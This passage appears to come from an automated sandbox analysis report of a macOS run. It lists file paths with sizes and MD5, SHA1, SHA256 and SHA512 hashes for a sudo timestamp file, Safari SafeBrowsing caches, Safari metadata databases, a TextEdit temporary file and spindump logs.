ec385e5bf7827610ea0d57188f873d55

SHA1
1eb940eeb5ce4a21c8961099af9ad8ddb396e335

SHA256
7d5520768ee3b19f743e90fc410cb0591c589020a13a63203b30d585c7fe67c4

SHA512
00a907b8f83ff1bd111f82f9191010ec7821ab213dfbd7a30611f8ace56e420489ee2495a99bc1510fc1fd022cd02a58376d863bb8cd405aa0d8e27e22d95e4e

Download Submit
/var/db/sudo/ts/run

Filesize
80B

MD5
d335dff0c1def570ddba6fbcfa07f5ea

SHA1
1723294c50a09b550ace48ac00b2923b381f2063

SHA256
c2e1e6d9fde32de84a83cd357b32c79deedcd312581738f12b13d410624d987b

SHA512
44162ffa714c56183e44167156d6d0835bf68f662155cb61ca2e64d4409188e25c34a7a91680210920abb8a761afb956ce44be684e20afcca56926db47ef5dab

Download Submit
/var/folders/pq/yy2b5ptn4cz739jgclj4m1wm0000gp/C/com.apple.Safari.SafeBrowsing/Google/malware,osx,url_expression

Filesize
294KB

MD5
2419515962a68a9f27766945944942c7

SHA1
09567309416c360edf62d9987e317f7f6d871e1c

SHA256
517a74f225f86c619cfa0313c314ba36c861dade9a6049328070d7ae159829b1

SHA512
590128cb2d5451de1c28b55198da7f3e3456c916b49b459dc77256432a2f912250771927f6107f7c8d355b877eff4816410d3ad1dd48d3490787ad59c2a9cf8d

Download Submit
/var/folders/pq/yy2b5ptn4cz739jgclj4m1wm0000gp/C/com.apple.Safari.SafeBrowsing/Google/social_engineering,osx,url_expression

Filesize
17.2MB

MD5
eea64590fe41fa4228f12a7d18e59b33

SHA1
d782abd1560b63bb8cc00798f8e3a10c45a7b3f7

SHA256
69fa1678ed9cabacb4d8af58d8dddfa474463f65b93b78cee376d7893fb129e9

SHA512
fb70bbebb33e92a2076fe94dee80fd1c158651a3c79a3795e80a07737be85bd0268016f07639283ff8b2e7cf8b4a16e3ba8492779d1efd8c94a40937eebbd23b

Download Submit
/var/folders/pq/yy2b5ptn4cz739jgclj4m1wm0000gp/C/com.apple.Safari.SafeBrowsing/Google/unwanted_software,osx,url_expression

Filesize
133KB

MD5
e95dde15c87bcbed96d0cc530b3202d1

SHA1
d246ce14580a95217e14ccaadfb8c10132ec5453

SHA256
665ad841e2d6eeac5c489cb691722a61a8b98c2f2294e0b21a8dfc26799948e9

SHA512
f8145e0cda9c634766e7c1328f520525a1f8782300e2cfd764d639848a5e1d60f26123ea8ba59e0131a2c9d39b65bd074bc3ceda2c9ecbbe35df7f02c80674eb

Download Submit
/var/folders/pq/yy2b5ptn4cz739jgclj4m1wm0000gp/C/com.apple.Safari//mds/mdsDirectory.db

Filesize
47KB

MD5
0e4a0d1ceb2af6f0f8d0167ce77be2d3

SHA1
414ba4c1dc5fc8bf53d550e296fd6f5ad669918c

SHA256
cca093bcfc65e25dd77c849866e110df72526dffbe29d76e11e29c7d888a4030

SHA512
1dc5282d27c49a4b6f921ba5dfc88b8c1d32289df00dd866f9ac6669a5a8d99afeda614bffc7cf61a44375ae73e09cd52606b443b63636977c9cd2ef4fa68a20

Download Submit
/var/folders/pq/yy2b5ptn4cz739jgclj4m1wm0000gp/C/com.apple.Safari//mds/mdsObject.db

Filesize
4KB

MD5
d3a1859e6ec593505cc882e6def48fc8

SHA1
f8e6728e3e9de477a75706faa95cead9ce13cb32

SHA256
3ebafa97782204a4a1d75cfec22e15fcdeab45b65bab3b3e65508707e034a16c

SHA512
ea2a749b105759ea33408186b417359deffb4a3a5ed0533cb26b459c16bb3524d67ede5c9cf0d5098921c0c0a9313fb9c2672f1e5ba48810eda548fa3209e818

Download Submit
/var/folders/pq/yy2b5ptn4cz739jgclj4m1wm0000gp/T/com.apple.TextEdit/TemporaryItems/(A Document Being Saved By TextEdit)/Untitled.rtf

Filesize
399B

MD5
d317aae0d930207570d8bbbccf5ebc4e

SHA1
f0526b14f868f563e704b6f7f10d1a2b65aec520

SHA256
cdae0e082ea15748f17a390ac156b30fb03339230b95ee758258ad1757483a75

SHA512
0bfe605fe5c6ba6dd0f5e615a63cfd346eb269c32740c5989278c7fab6a79299722570a819a8f46b54fe9412a98b18cfa659df681817a174fe80c206c5ac4ecf

Download Submit
/var/folders/zz/zyxvpxvq6csfxvn_n0000000000000/T//spindump.txt

Filesize
1.4MB

MD5
b7d6671cc67a0ab86ae9a9ec63424f23

SHA1
c2efdfa175d3e2dda8feeeecaa736213e96b7804

SHA256
3b7484a25a72d41d8b9ff4152b1a1e4a2943afea7321f188b479982d1922ad70

SHA512
ae5305c4b4712691b4796e362de50fe6f5d18902e16e2f21dd906494aec35f1b9e6b65c0d75acd8e673c2475f0c55a90e4eb1b0667343c541e5903b01fcd324f

Download Submit
/var/folders/zz/zyxvpxvq6csfxvn_n0000000000000/T//spindump.txt

Filesize
2.3MB

MD5
ac8d19c6a047a9b5036c500d03a49012

SHA1
3f63077981b767293426194b9c300bc282bf9e1d

SHA256
5128d32ccae5c0180b5552112a1148791685cb60e96da64a7e01df05781d9f69

SHA512
9bbf4649d915e9fa07c2fd94a959579b06617ea6e6f8379dfe8cbaac4197eded00788f74268e201fd14a3fbc62647037ce1e2795725cc0095b41ff9de6573f7e

Download Submit
/var/folders/zz/zyxvpxvq6csfxvn_n0000000000000/T//spindump.txt

Filesize
5.1MB

MD5
bb25ff06271b65d82fa0a2bcb37d6052

SHA1
58d52257d0b83f85894551de6b18d9b5f970f451

SHA256
bf25a9d009a77f94521b2f2492a819a58df5219661ec4b18702903a5da4f4a61

SHA512
91bd18550e33cd77787be1430e562ecc70560077d963c715253134544e6b2837c889705b321469bd758aa97d6512a026c0e936bb4bda325a3bde8b14e4673c91

Download Submit